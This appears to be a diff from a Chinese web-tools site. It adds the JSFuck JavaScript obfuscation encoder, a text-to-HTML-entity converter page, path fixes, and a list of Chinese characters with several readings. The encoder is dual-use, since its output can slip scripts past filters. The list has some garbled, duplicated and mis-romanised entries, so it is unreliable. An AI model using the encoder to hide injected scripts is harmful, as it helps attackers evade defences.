||||
'x': '(+(101))["toString"](34)[1]',
|
||||
'y': '(NaN+[Infinity])[10]',
|
||||
'z': '(+(35))["toString"](36)',
|
||||
|
||||
'A': '(+false+Array)[10]',
|
||||
'B': '(+false+Boolean)[10]',
|
||||
'C': 'Function("return escape")()("<")[2]',
|
||||
'D': 'Function("return escape")()("=")[2]',
|
||||
'E': '(RegExp+"")[12]',
|
||||
'F': '(+false+Function)[10]',
|
||||
'G': '(false+Function("return Date")()())[30]',
|
||||
'H': USE_CHAR_CODE,
|
||||
'I': '(Infinity+"")[0]',
|
||||
//'J': USE_CHAR_CODE,
|
||||
'K': USE_CHAR_CODE,
|
||||
'L': USE_CHAR_CODE,
|
||||
'M': '(true+Function("return Date")()())[30]',
|
||||
'N': '(NaN+"")[0]',
|
||||
//'O': USE_CHAR_CODE,
|
||||
'P': USE_CHAR_CODE,
|
||||
'Q': USE_CHAR_CODE,
|
||||
'R': '(+false+RegExp)[10]',
|
||||
'S': '(+false+String)[10]',
|
||||
'T': '(NaN+Function("return Date")()())[30]',
|
||||
'U': USE_CHAR_CODE,
|
||||
'V': USE_CHAR_CODE,
|
||||
'W': USE_CHAR_CODE,
|
||||
'X': USE_CHAR_CODE,
|
||||
'Y': USE_CHAR_CODE,
|
||||
'Z': USE_CHAR_CODE,
|
||||
|
||||
' ': '(NaN+[]["filter"])[11]',
|
||||
'!': USE_CHAR_CODE,
|
||||
'"': '("")["fontcolor"]()[12]',
|
||||
'#': USE_CHAR_CODE,
|
||||
'$': USE_CHAR_CODE,
|
||||
'%': 'Function("return escape")()("<")[0]',
|
||||
'&': USE_CHAR_CODE,
|
||||
'\'': USE_CHAR_CODE,
|
||||
'(': '(false+[]["filter"])[20]',
|
||||
')': '(true+[]["filter"])[20]',
|
||||
'*': USE_CHAR_CODE,
|
||||
'+': '(+(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[+[]]+[+[]])+[])[2]',
|
||||
',': '[[]]["concat"]([[]])+""',
|
||||
'-': '(+(.+[0000000001])+"")[2]',
|
||||
'.': '(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]',
|
||||
'/': '(false+[+false])["italics"]()[10]',
|
||||
':': '(RegExp()+"")[3]',
|
||||
';': USE_CHAR_CODE,
|
||||
'<': '("")["italics"]()[0]',
|
||||
'=': '("")["fontcolor"]()[11]',
|
||||
'>': '("")["italics"]()[2]',
|
||||
'?': '(RegExp()+"")[2]',
|
||||
'@': USE_CHAR_CODE,
|
||||
'[': '(GLOBAL+"")[0]',
|
||||
'\\': USE_CHAR_CODE,
|
||||
']': USE_CHAR_CODE,
|
||||
'^': USE_CHAR_CODE,
|
||||
'_': USE_CHAR_CODE,
|
||||
'`': USE_CHAR_CODE,
|
||||
'{': '(NaN+[]["filter"])[21]',
|
||||
'|': USE_CHAR_CODE,
|
||||
'}': USE_CHAR_CODE,
|
||||
'~': USE_CHAR_CODE
|
||||
};
|
||||
|
||||
var GLOBAL = 'Function("return this")()';
|
||||
|
||||
function fillMissingChars(){
|
||||
for (var key in MAPPING){
|
||||
if (MAPPING[key] === USE_CHAR_CODE){
|
||||
MAPPING[key] = 'Function("return unescape")()("%"'+ key.charCodeAt(0).toString(16).replace(/(\d+)/g, "+($1)+\"") + '")';
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function fillMissingDigits(){
|
||||
var output, number, i;
|
||||
|
||||
for (number = 0; number < 10; number++){
|
||||
|
||||
output = "+[]";
|
||||
|
||||
if (number > 0){ output = "+!" + output; }
|
||||
for (i = 1; i < number; i++){ output = "+!+[]" + output; }
|
||||
if (number > 1){ output = output.substr(1); }
|
||||
|
||||
MAPPING[number] = "[" + output + "]";
|
||||
}
|
||||
}
|
||||
|
||||
function replaceMap(){
|
||||
var character = "", value, original, i, key;
|
||||
|
||||
function replace(pattern, replacement){
|
||||
value = value.replace(
|
||||
new RegExp(pattern, "gi"),
|
||||
replacement
|
||||
);
|
||||
}
|
||||
|
||||
function digitReplacer(_,x) { return MAPPING[x]; }
|
||||
|
||||
function numberReplacer(_,y) {
|
||||
var values = y.split("");
|
||||
var head = +(values.shift());
|
||||
var output = "+[]";
|
||||
|
||||
if (head > 0){ output = "+!" + output; }
|
||||
for (i = 1; i < head; i++){ output = "+!+[]" + output; }
|
||||
if (head > 1){ output = output.substr(1); }
|
||||
|
||||
return [output].concat(values).join("+").replace(/(\d)/g, digitReplacer);
|
||||
}
|
||||
|
||||
for (i = MIN; i <= MAX; i++){
|
||||
character = String.fromCharCode(i);
|
||||
value = MAPPING[character];
|
||||
if(!value) {continue;}
|
||||
original = value;
|
||||
|
||||
for (key in CONSTRUCTORS){
|
||||
replace("\\b" + key, CONSTRUCTORS[key] + '["constructor"]');
|
||||
}
|
||||
|
||||
for (key in SIMPLE){
|
||||
replace(key, SIMPLE[key]);
|
||||
}
|
||||
|
||||
replace('(\\d\\d+)', numberReplacer);
|
||||
replace('\\((\\d)\\)', digitReplacer);
|
||||
replace('\\[(\\d)\\]', digitReplacer);
|
||||
|
||||
replace("GLOBAL", GLOBAL);
|
||||
replace('\\+""', "+[]");
|
||||
replace('""', "[]+[]");
|
||||
|
||||
MAPPING[character] = value;
|
||||
}
|
||||
}
|
||||
|
||||
function replaceStrings(){
|
||||
var regEx = /[^\[\]\(\)\!\+]{1}/g,
|
||||
all, value, missing,
|
||||
count = MAX - MIN;
|
||||
|
||||
function findMissing(){
|
||||
var all, value, done = false;
|
||||
|
||||
missing = {};
|
||||
|
||||
for (all in MAPPING){
|
||||
|
||||
value = MAPPING[all];
|
||||
|
||||
if (value.match(regEx)){
|
||||
missing[all] = value;
|
||||
done = true;
|
||||
}
|
||||
}
|
||||
|
||||
return done;
|
||||
}
|
||||
|
||||
function mappingReplacer(a, b) {
|
||||
return b.split("").join("+");
|
||||
}
|
||||
|
||||
function valueReplacer(c) {
|
||||
return missing[c] ? c : MAPPING[c];
|
||||
}
|
||||
|
||||
for (all in MAPPING){
|
||||
MAPPING[all] = MAPPING[all].replace(/\"([^\"]+)\"/gi, mappingReplacer);
|
||||
}
|
||||
|
||||
while (findMissing()){
|
||||
for (all in missing){
|
||||
value = MAPPING[all];
|
||||
value = value.replace(regEx, valueReplacer);
|
||||
|
||||
MAPPING[all] = value;
|
||||
missing[all] = value;
|
||||
}
|
||||
|
||||
if (count-- === 0){
|
||||
console.error("Could not compile the following chars:", missing);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function encode(input, wrapWithEval){
|
||||
var output = [];
|
||||
|
||||
if (!input){
|
||||
return "";
|
||||
}
|
||||
|
||||
var r = "";
|
||||
for (var i in SIMPLE) {
|
||||
r += i + "|";
|
||||
}
|
||||
r+=".";
|
||||
|
||||
input.replace(new RegExp(r, 'g'), function(c) {
|
||||
var replacement = SIMPLE[c];
|
||||
if (replacement) {
|
||||
output.push("[" + replacement + "]+[]");
|
||||
} else {
|
||||
replacement = MAPPING[c];
|
||||
if (replacement){
|
||||
output.push(replacement);
|
||||
} else {
|
||||
if (c === "J") {
|
||||
replacement =
|
||||
"([][" + encode("filter") + "]" +
|
||||
"[" + encode("constructor") + "]" +
|
||||
"(" + encode("return new Date(200000000)") + ")()+[])[!+[]+!+[]+!+[]+!+[]]";
|
||||
|
||||
output.push(replacement);
|
||||
MAPPING[c] = replacement;
|
||||
} else if (c === "O") {
|
||||
replacement =
|
||||
"([][" + encode("filter") + "]" +
|
||||
"[" + encode("constructor") + "]" +
|
||||
"(" + encode("return new Date(24000000000)") + ")()+[])[!+[]+!+[]+!+[]+!+[]]";
|
||||
|
||||
output.push(replacement);
|
||||
MAPPING[c] = replacement;
|
||||
} else {
|
||||
replacement =
|
||||
"([]+[])[" + encode("constructor") + "]" +
|
||||
"[" + encode("fromCharCode") + "]" +
|
||||
"(" + encode(c.charCodeAt(0) + "") + ")";
|
||||
|
||||
output.push(replacement);
|
||||
MAPPING[c] = replacement;
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
output = output.join("+");
|
||||
|
||||
if (/^\d$/.test(input)){
|
||||
output += "+[]";
|
||||
}
|
||||
|
||||
if (wrapWithEval){
|
||||
output = "[][" + encode("filter") + "]" +
|
||||
"[" + encode("constructor") + "]" +
|
||||
"(" + output + ")()";
|
||||
}
|
||||
|
||||
return output;
|
||||
}
|
||||
|
||||
fillMissingDigits();
|
||||
fillMissingChars();
|
||||
replaceMap();
|
||||
replaceStrings();
|
||||
|
||||
self.JSFuck = {
|
||||
encode: encode
|
||||
};
|
||||
})(typeof(exports) === "undefined" ? window : exports);
|
|
@ -0,0 +1,39 @@
|
|||
<?php
|
||||
$id = '47';
|
||||
include '../../header.php';
|
||||
?>
|
||||
<div class="container">
|
||||
<div class="panel panel-default">
|
||||
<div class="panel-heading">
|
||||
<h3 class="panel-title">文本转ASCII</h3>
|
||||
</div>
|
||||
<div class="panel-body">
|
||||
<div class="col-md-6 col-md-offset-3">
|
||||
<form role="form" onsubmit="return false;">
|
||||
<div class="form-group">
|
||||
<textarea class="form-control" rows="3" id="html_content" placeholder="输入文本"></textarea>
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<button type="submit" class="btn btn-default btn-lg btn-block" onclick="return email2ascii();">转换</button>
|
||||
</div>
|
||||
</form>
|
||||
<div class="form-group">
|
||||
<div class="alert alert-success" role="alert" id="ascii_text" style="word-wrap : break-word ;">请输入文本进行转换</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<script>
|
||||
function email2ascii(){
|
||||
|
||||
var s = document.getElementById('html_content').value;
|
||||
var as = "";
|
||||
for(var a = 0; a<s.length; a++){
|
||||
as += "&#"+s.charCodeAt(a)+";";
|
||||
}
|
||||
document.getElementById('ascii_text').innerHTML = '' + as;
|
||||
return false;
|
||||
}
|
||||
</script>
|
||||
<?php include '../../footer.php';?>
|
|
@ -1,6 +1,6 @@
|
|||
<?php
|
||||
$id = '26';
|
||||
include '../header.php';
|
||||
include '../../header.php';
|
||||
?>
|
||||
|
||||
|
||||
|
@ -45,4 +45,4 @@ include '../header.php';
|
|||
<script type="text/javascript" src="pinyinUtil.js"></script>
|
||||
<script type="text/javascript" src="py.php"></script>
|
||||
|
||||
<?php include '../footer.php';?>
|
||||
<?php include '../../footer.php';?>
|
|
@ -0,0 +1,287 @@
|
|||
1. 阿①ā 阿罗汉阿姨②ē 阿附 阿胶
|
||||
2. 挨①āi 挨个挨近②ái 挨打 挨说
|
||||
3. 拗①ào 拗口②niǜ 执拗
|
||||
1. 扒①bā 扒开 扒拉②pá 扒手 扒草
|
||||
2. 把①bǎ 把握 把持把柄②bà 印把 刀把 话把儿
|
||||
3. 蚌①bàng 蛤蚌②bèng 蚌埠
|
||||
4. 薄①báo (口语单用) 纸薄②bó (书面组词) 单薄 稀薄
|
||||
5. 堡 ①bǎo碉堡堡垒②bǔ瓦窑堡 吴堡③pù十里堡
|
||||
6. 暴 bào 暴露②pù 地暴十寒
|
||||
7. 背 ①bèi 脊背背静②bēi 背包 背枪
|
||||
8. 奔 ①bēn 奔跑奔波②bèn 投奔
|
||||
9. 臂 ①bì 手臂臂膀②bei 胳臂
|
||||
10. 辟 ①bì 复辟②pì 开辟
|
||||
11. 扁 ①biǎn 扁担②piān 扁舟
|
||||
12. 便 ①biàn 方便便利便宜从事②pián便宜
|
||||
13. 骠 ①biāo 黄骠马②piào骠勇
|
||||
14. 屏 ①píng屏风②bǐng 屏息 屏气
|
||||
15. 剥 ①bō (书面组词)剥削(xuē)②bāo (口语单用) 剥皮
|
||||
16. 泊 ①bó 淡泊停泊②pō 湖泊
|
||||
17. 伯 ①bó 老伯伯父②bǎi 大伯子(夫兄)
|
||||
18. 簸 ①bǒ 颠簸②bò 簸箕
|
||||
19. 膊 ①bó 赤膊②bo 胳膊
|
||||
20. 卜 ①bo 萝卜②bǔ占卜
|
||||
1. 藏 ①cáng 矿藏②zàng 宝藏
|
||||
2. 差 ①chā (书面组词)偏差 差错②chà (口语单用)差点儿 ③cī 参差
|
||||
4. 禅 ①chán 禅师②shàn 禅让 封禅
|
||||
5. 颤 ①chàn 颤动颤抖②zhàn 颤栗 打颤
|
||||
6. 场 ①chǎng 场合冷场②cháng 场院 一场(雨)
|
||||
7. 嘲 ①cháo 嘲讽嘲笑②zhāo 嘲哳(zhāo zhā)
|
||||
8. 车 ①chē 车马车辆②jū (象棋子名称)
|
||||
9. 称 ①chèng 称心对称②chēng 称呼 称道
|
||||
10. 澄 ①chéng (书面)澄清(问题)②dèng (口语)澄清(使液体变清)
|
||||
11. 匙 ①chí 汤匙②shi 钥匙
|
||||
12. 冲 ①chōng 冲锋冲击②chòng 冲床 冲子
|
||||
13. 臭 ①chòu 遗臭万年②xiù 乳臭 铜臭
|
||||
14. 处 ①chǔ (动作义)处罚 处置②chù (名词义)处所 妙处
|
||||
15. 畜 ①chù (名物义)畜牲 畜力②xù (动作义)畜养 畜牧
|
||||
16. 创 ①chuàng 创作创造②chuāng 重创 创伤
|
||||
17. 绰 ①chuò 绰绰有作②chāo 绰起
|
||||
18. 伺 ①cì 伺侯②sì 伺机 环伺
|
||||
19. 枞 ①cōng 枞树②zōng 枞阳(地名)
|
||||
20. 攒 ①cuán 攒动攒射②zǎn 积攒
|
||||
21. 撮 ①cuō 一撮儿盐②zuǒ 一撮毛
|
||||
常用多音字大全(D部)
|
||||
1. 答 ①dá 报答 答复②dā 答理 答应
|
||||
2. 大 ①dà 大夫(官名)②dài 大夫(医生)山大王
|
||||
3. 逮 ①dài (书面组词)逮捕②dǎi (口语单用)逮蚊子 逮小偷
|
||||
4. 单 ①dán 单独孤单②chán 单于③shàn 单县 单姓
|
||||
5. 当 ①dāng 当天 当时当年(均指已过去)②dàng 当天 当日 当年(同一年. 月. 日. 天)
|
||||
6. 倒 ①dǎo 颠倒 倒戈倒嚼②dào 倒粪 倒药 倒退
|
||||
7. 提 ①dī 提防 提溜②tí 提高 提取
|
||||
8. 得 ①dé 得意洋洋②de 好得很③děi 得喝水了
|
||||
9. 的 ①dí 的当 的确②dì 目的 中的③de 好的 我的
|
||||
10. 都 ①dōu 都来了②dū 都市 大都(大多)
|
||||
11. 掇 ①duō 采掇 (拾取. 采取义)②duo 撺掇 掂掇
|
||||
12. 度 ①duó 忖度揣度②dù 程度 度量
|
||||
13. 囤 ①dùn 粮囤②tún 囤积
|
||||
常用多音字大全(F部)
|
||||
1. 发 ①fà 理发 结发②fā 发表 打发
|
||||
2. 坊 ①fāng 牌坊坊巷②fáng 粉坊 染坊
|
||||
3. 分 ①fēn 区分分数②fèn 身分 分子(一员)
|
||||
4. 缝 ①féng 缝合②fèng 缝隙
|
||||
5. 服 ①fú 服毒 服药②fù 量词,也作“付”
|
||||
常用多音字大全(G部)
|
||||
1. 杆 ① gān 旗杆栏杆(粗. 长)② gǎn 枪杆 烟杆(细. 短)
|
||||
2. 葛 ① gé 葛巾 瓜葛② gě 姓氏
|
||||
3. 革 ① gé 革命 皮革② jí 病革 病急
|
||||
4. 合 ① gě 十分之一升② hé 合作 合计
|
||||
5. 给 ① gěi (口语单用)给……② jǐ (书面组词)补给. 配给
|
||||
6. 更 ① gēng 更换更事② gèng 更加 更好
|
||||
7. 颈 ① jǐng 颈项颈联② gěng 脖颈子
|
||||
8. 供 ① gōng 供给供销② gòng 口供 上供
|
||||
9. 枸 ① gǒu 枸杞② gōu 枸橘③ jǔ 枸橼
|
||||
10. 估 ① gū 估计. 估量② gù 估衣(唯一例词)
|
||||
12. 骨 ① gū 骨碌骨朵(仅此二例)② gǔ 骨肉 骨干
|
||||
13. 谷 ① gǔ 谷子 谷雨② yù 吐谷浑(族名)
|
||||
14. 冠 ① guān (名物义)加冠 弹冠② guàn (动作义)冠军 沐猴而冠
|
||||
15. 桧 ① guì 树名② huì 人名
|
||||
16. 过 ① guō 姓氏② guò 经过
|
||||
常用多音字大全(H部)
|
||||
1. 虾 ① há 虾蟆② xiā 对虾
|
||||
2. 哈 ① hǎ 哈达 姓哈② hà 哈什玛③ hā 哈萨克 哈腰
|
||||
3. 汗 ① hán 可汗 大汗② hàn 汗水 汗颜
|
||||
4. 巷 ① hàng 巷道② xiàng 街巷
|
||||
5. 吭 ① háng 引吭高歌② kēng 吭声
|
||||
6. 号 ① háo 呼号 号叫② hào 称号 号召
|
||||
7. 和 ① hé 和睦 和谐② hè 应和 和诗③ hú 麻将牌戏用语,意为赢④ huó 和面 和泥⑤ huò 和药两和(量词)⑥ huo 搀和搅和
|
||||
8. 貉 ① hé (书面)一丘之貉② háo (口语)貉绒 貉子
|
||||
9. 喝 ① hē 喝水② hè 喝彩 喝令
|
||||
10. 横 ① héng 横行纵横② hèng 蛮横 横财
|
||||
11. 虹 ① hóng (书面组词)彩虹 虹吸② jiàng (口语单用)
|
||||
12. 划 ① huá 划船划算② huà 划分 计划
|
||||
13. 晃 ① huǎng 明晃晃晃眼② huàng 摇晃 晃动
|
||||
14. 会 ① huì 会合都会② kuàì 会计 财会
|
||||
15. 混 ① hún 混浊混活② hùn 混合 混沌
|
||||
16. 哄 ① hǒng 哄骗② hòng 起哄
|
||||
17. 豁 ① huō 豁口② huò 豁亮 豁达
|
||||
常用多音字大全(J部)
|
||||
1. 奇 ① jī 奇偶② qí 奇怪 奇异
|
||||
2. 缉 ① jī 通缉 缉拿② qī 缉鞋口
|
||||
3. 几 ① jī 茶几 几案② jǐ 几何 几个
|
||||
4. 济 ① jǐ 济宁 济济② jì 救济 共济
|
||||
5. 纪 ① jǐ 姓氏② jì 纪念 纪律
|
||||
6. 偈 ① jì 偈语② jié (勇武)
|
||||
7. 系 ① jì 系紧缰绳系好缆绳② xì 系好马匹 系好船只
|
||||
8. 茄 ① jiā 雪茄② qié 茄子
|
||||
9. 夹 ① jiā 夹攻 夹杂② jiá 夹裤 夹袄
|
||||
10. 假 ① jiǎ 真假. 假借② jià 假期 假日
|
||||
11. 间 ① jiān 中间晚间② jiàn 间断 间谍
|
||||
12. 将 ① jiāng 将军将来② jiàng 将校 将兵
|
||||
13. 嚼 ① jiáo (口语) 嚼舌② jué (书面) 咀嚼
|
||||
14. 侥 ① jiǎo 侥幸② yáo 僬侥(传说中的矮人)
|
||||
15. 角 ① jiǎo 角落号角 口角(嘴角)② jué 角色 角斗 口角(吵嘴)
|
||||
16. 脚 ① jiǎo 根脚脚本② jué 脚儿(角儿,脚色)
|
||||
17. 剿 ① jiǎo 围剿剿匪② chāo 剿袭 剿说
|
||||
18. 教 ① jiāo 教书教给② jiào 教导 教派
|
||||
19. 校 ① jiào 校场校勘② xiào 学校 院校
|
||||
20. 解 ① jiě 解除解渴② jiè 解元 押解③ xiè 解县 解不开
|
||||
21. 结 ① jiē 结果结实② jié 结网 结合
|
||||
22. 芥 ① jiè 芥菜芥末② gài 芥蓝
|
||||
23. 藉 ① jiè 枕藉慰藉② jí 狼藉
|
||||
24. 矜 ① jīn 矜夸矜持② qín 矜(矛柄)锄镰棘矜
|
||||
25. 仅 ① jǐn 仅有② jìn 仅万(将近)
|
||||
26. 劲 ① jìn 干劲劲头② jìng 强劲 劲草
|
||||
27. 龟 ① jūn 龟裂② guī 乌龟③ qiū 龟兹
|
||||
28. 咀 ① jǔ 咀嚼② zuǐ 嘴
|
||||
29. 矩 ① jǔ 矩形② ju 规矩
|
||||
30. 菌 ① jūn 细菌霉菌② jùn 香菌 菌子(同蕈xùn)
|
||||
常用多音字大全(K部)
|
||||
1. 卡 ① kǎ 卡车 卡片② qiǎ 关卡 卡子
|
||||
2. 看 ① kān 看守 看管② kàn 看待 看茶
|
||||
3. 坷 ① kē 坷垃② kě 坎坷
|
||||
4. 壳 ① ké (口语)贝壳脑壳② qià (书面)地壳 甲壳. 躯壳
|
||||
5. 可 ① kě 可恨 可以② kè 可汗
|
||||
6. 克 ① kè 克扣 克服② kēi (口语)申斥
|
||||
7. 空 ① kōng 领空空洞② kòng 空白 空闲
|
||||
8. 溃 ① kuì 溃决 溃败② kui 溃=殒
|
||||
常用多音字大全(L部)
|
||||
1. 蓝 ① lán 蓝草 蓝图② lan 苤蓝(piě lan)
|
||||
2. 烙 ① lào 烙印 烙铁② luò 炮(páo)烙
|
||||
3. 勒 ① lè (书面组词)勒令 . 勒索② lēi (口语单用)勒紧点儿
|
||||
4. 擂 ① léi 擂鼓② lèi 擂台 打擂(仅此二词)
|
||||
5. 累 ① lèi (受劳义)劳累② léi (多余义)累赘③ lěi (牵连义) 牵累
|
||||
6. 蠡 ① lí 管窥蠡测② lǐ 蠡县
|
||||
7. 俩 ① liǎ (口语,不带量词)咱俩 俩人② liǎng 伎俩
|
||||
8. 量 ① liáng 丈量计量② liàng 量入为出③ liang 打量 掂量
|
||||
9. 踉 ① liáng 跳踉(跳跃)② liàng 踉跄(走路不稳)
|
||||
10. 潦 ① liáo 潦草潦倒② lǎo (书面)积潦(积水)
|
||||
11. 淋 ① lín 淋浴淋漓② lìn 淋硝 淋盐
|
||||
12. 馏 ① liú 蒸馏② liù (口语单用)馏饭
|
||||
13. 镏 ① liú 镏金(涂金)② liù 金镏(金戒)
|
||||
14. 碌 ① liù 碌碡② lù 庸碌 劳碌
|
||||
15. 笼 ① lóng (名物义)笼子. 牢笼② lǒng (动作义)笼络 笼统
|
||||
16. 偻 ① ló 佝偻② lǚ 伛偻
|
||||
17. 露 ① lù (书面)露天露骨② lòu (口语)露头 露马脚
|
||||
18. 捋 ① lǚ 捋胡子② luō 捋袖子
|
||||
19. 绿 ① lǜ (口语)绿地绿菌② lù (书面)绿林 鸭绿江
|
||||
20. 络 ① luò 络绎经络② lào 络子
|
||||
21. 落 ① luò (书面组词)落魄 着落② lào (常用口语)落枕 落色③ là (遗落义)丢三落四 落下
|
||||
常用多音字大全(M部)
|
||||
1. 脉 ① mò 脉脉(仅此一例)② mài 脉络 山脉
|
||||
2. 埋 ① mái 埋伏 埋藏② mán 埋怨
|
||||
3. 蔓 ① màn (书面)蔓延枝蔓② wàn (口语)瓜蔓 压蔓
|
||||
4. 氓 ① máng 流氓② méng 古指百姓
|
||||
5. 蒙 ① méng 蒙骗② méng 蒙味③ měng 蒙古
|
||||
6. 眯 ① mí 眯眼(迷眼)② mī 眯眼(合眼)
|
||||
7. 靡 ① mí 靡费 奢靡② mǐ 委靡 披靡
|
||||
8. 秘 ① bì 秘鲁 秘姓② mì 秘密 秘诀③ bèi 秘姓
|
||||
9. 泌 ① mì (口语)分泌② bì (书面)泌阳
|
||||
10. 模 ① mó 模范 模型② mú 模具 模样
|
||||
11. 摩 ① mó 摩擦. 摩挲(用手抚摸)② mā 摩挲(sa)轻按着并移动
|
||||
12. 缪 ① móu 绸缪② miù 纰缪③ miào 缪姓
|
||||
常用多音字大全(N部)
|
||||
1. 难 ① nán 困难难兄难弟(贬义)② nàn 责难 难兄难弟(共患难的人);
|
||||
2. 宁 ① níng 安宁宁静② nìng 宁可 宁姓
|
||||
3. 弄 ① nòng 玩弄② lòng 弄堂
|
||||
4. 疟 ① nüè (书面)疟疾② yào (口语)发疟子
|
||||
5. 娜 ① nuó 袅娜. 婀娜② nà (用于人名)安娜
|
||||
常用多音字大全(P部)
|
||||
1. 排 ① pái 排除 排行② pǎi 排车
|
||||
2. 迫 ① pǎi 迫击炮② pò 逼迫
|
||||
3. 胖 ① pán 心广体胖② pàng 肥胖
|
||||
4. 刨 ① páo 刨除 刨土② bào 刨床 刨冰
|
||||
5. 炮 ① páo 炮制. 炮格(烙)② pào 火炮 高炮
|
||||
6. 喷 ① pēn 喷射 喷泉② pèn 喷香③ pen 嚏喷
|
||||
7. 片 ① piàn 影片儿② piān 唱片儿
|
||||
8. 缥 ① piāo 缥缈② piǎo 缥—青白色(的丝织品)
|
||||
9. 撇 ① piē 撇开 撇弃② piě 撇嘴. 撇置脑后
|
||||
10. 仆 ① pū 前仆后继② pú 仆从
|
||||
11. 朴 ① pǔ 俭朴 朴质② pō 朴刀③ pò 厚朴. 朴树④ piáo 朴姓
|
||||
12. 瀑 ① pù 瀑布② bào 瀑河(水名)
|
||||
13. 曝 ① pù 一曝十寒② bào 曝光
|
||||
常用多音字大全(Q部)
|
||||
1. 栖 ① qī 两栖. 栖息② xī 栖栖
|
||||
2. 蹊 ① qī 蹊跷② xī 蹊径
|
||||
3. 稽 ① qí 稽首② jī 滑稽
|
||||
4. 荨 ① qián (书面)荨麻② xún (口语)荨麻疹
|
||||
5. 欠 ① qiàn 欠缺. 欠债② qian 呵欠
|
||||
6. 镪 ① qiāng 镪水② qiǎng 银镪
|
||||
7. 强 ① qiáng 强渡. 强取. 强制② qiǎng 勉强. 强迫. 强词③ jiàng 倔强
|
||||
8. 悄 ① qiāo 悄悄儿的悄悄话② qiǎo 悄然. 悄寂
|
||||
9. 翘 ① qiào (口语)翘尾巴② qiáo 翘首. 连翘
|
||||
10. 切 ① qiē 切磋. 切割② qiè 急切. 切实
|
||||
11. 趄 ① qiè 趄坡儿② qie 趔趄③ jū 趑趄
|
||||
12. 亲 ① qīn 亲近亲密② qìng 亲家
|
||||
13. 曲 ① qū 神曲. 大曲. 弯曲② qǔ 曲调. 曲艺. 曲牌
|
||||
14. 雀 ① qùe 雀盲. 雀斑② qiao 雀子. ③ qiao 家雀儿
|
||||
常用多音字大全(R部)
|
||||
1. 任 ① rén 任丘(地名)任(姓)② rèn 任务. 任命
|
||||
常用多音字大全(S部)
|
||||
1. 散 ① sǎn 懒散. 零散(不集中. 分散)② san 零散(散架. 破裂义)③ sàn 散布. 散失
|
||||
2. 丧 ① sāng 丧乱. 丧钟② sàng 丧失. 丧权③ sang 哭丧着脸
|
||||
3. 色 ① sè (书面)色彩色泽② shǎi (口语)落色. 颜色
|
||||
4. 塞 ① sè (书面,动作义)堵塞. 阻塞② sāi (口语,名动义)活塞. 塞车③ sài 塞翁失马 边塞 塞外
|
||||
5. 煞 ① shā 煞尾. 收煞② shà 煞白. 恶煞
|
||||
6. 厦 ① shà 广厦. 大厦② xià 厦门. 噶厦
|
||||
7. 杉 ① shān (书面)红杉. 水杉② shā (口语)杉篙. 杉木
|
||||
8. 苫 ① shàn (动作义)苫屋草② shān (名物义)草苫子
|
||||
9. 折 ① shé 折本② shē 折腾③ shé 折合
|
||||
10. 舍 ① shě 舍弃抛舍② shè 校舍 退避三舍)
|
||||
11. 什 ① shén 什么② shí 什物 什锦
|
||||
12. 葚 ① shèn (书面)桑葚② rèn (口语)桑葚儿
|
||||
13. 识 ① shí 识别识字② zhì 标识 博闻强识
|
||||
14. 似 ① shì 似的② sì 相似
|
||||
15. 螫 ① shì (书面)② zhē (口语)=蜇
|
||||
16. 熟 ① sh 相似
|
||||
17. 螫 ① shì (书面)② zhē (口语)=蜇
|
||||
18. shuì 游说 说客② shuō 说话 说辞
|
||||
19. 数 ① shuò 数见不鲜② shǔ 数落 数数(shu)③ shù 数字 数目
|
||||
20. 遂 ① suí 不遂毛遂② suì 半身不遂
|
||||
21. 缩 ① suō 缩小收缩② sù 缩砂(植物名)
|
||||
常用多音字大全(T部)
|
||||
1. 沓 ① tà 杂沓 复沓纷至沓来② ta 疲沓
|
||||
2. 苔 ① tái (书面)苍苔苔藓② tāi (口语)青苔 舌苔
|
||||
3. 调 ① tiáo 调皮调配(调和配合)② diào 调换 调配(调动分配)
|
||||
4. 帖 ① tiē 妥帖 伏帖② ti wǎ 瓦当 瓦蓝 砖瓦② wà 瓦刀 瓦屋瓦(wǎ)
|
||||
常用多音字大全(W部)
|
||||
1. 圩 ① wéi 圩子② xū 圩场
|
||||
2. 委 ① wēi 委蛇=逶迤② wěi 委曲(qū) 委屈(qu)
|
||||
3. 尾 ① wěi 尾巴② yǐ 马尾
|
||||
4. 尉 ① wèi 尉官 尉姓② yù 尉迟(姓)尉犁(地名)
|
||||
5. 乌 ① wū 乌黑. 乌拉(la 藏奴劳役)② wù 乌拉(la 草名)※ 乌黑. 乌拉(la 藏奴劳役)② wù 乌拉(la 草名)
|
||||
常用多音字大全(X部)
|
||||
1. 吓 ① xiā 吓唬 吓人② hè 威吓 恐吓
|
||||
2. 鲜 ① xiān 鲜美鲜明② xiǎn 鲜见 鲜为人知
|
||||
3. 纤 ① xiān 纤维纤细② qiàn 纤夫 拉纤
|
||||
4. 相 ① xiāng 相处相对② xiàng 相片 相机
|
||||
5. 行 ① xíng 举行发行② háng 行市. 行伍③ hàng 树行子④ héng 道行
|
||||
6. 省 ① xǐng 反省省亲② shěng 省份 省略
|
||||
7. 宿 ① xiù 星宿,二十八宿② xiǔ 半宿(用以计夜)③ sù 宿舍 宿主
|
||||
8. 削 ① xuē (书面) 剥削 瘦削② xiāo (口语) 切削 削皮
|
||||
9. 血 ① xuè (书面组词)贫血 心血② xiě (口语常用)鸡血,流了点血
|
||||
10. 熏 ① xūn 熏染熏陶② xùn 被煤气熏着了(中毒)
|
||||
常用多音字大全(Y部)
|
||||
1. 哑 ① yā 哑哑(象声词)的学语② yǎ 哑然 哑场
|
||||
2. 殷 ① yān 殷红② yīn 殷实,殷切. 殷朝③ yǐn 殷殷(象声词,形容雷声)
|
||||
3. 咽 ① yān 咽喉② yàn 狼吞虎咽③ yè 呜咽
|
||||
4. 钥 ① yào (口语)钥匙② yuè (书面)锁钥
|
||||
5. 叶 ① yè 叶落归根② xié 叶韵(和谐义)
|
||||
6. 艾 ① yì 自怨自艾. 惩艾② ài 方兴未艾. 艾草
|
||||
7. 应 ① yīng 应届应许② yìng 应付 应承
|
||||
8. 佣 ① yōng 雇佣佣工② yòng 佣金 佣钱
|
||||
9. 熨 ① yù 熨贴② yùn 熨烫
|
||||
10. 与 ① yǔ 给与② yù 参与
|
||||
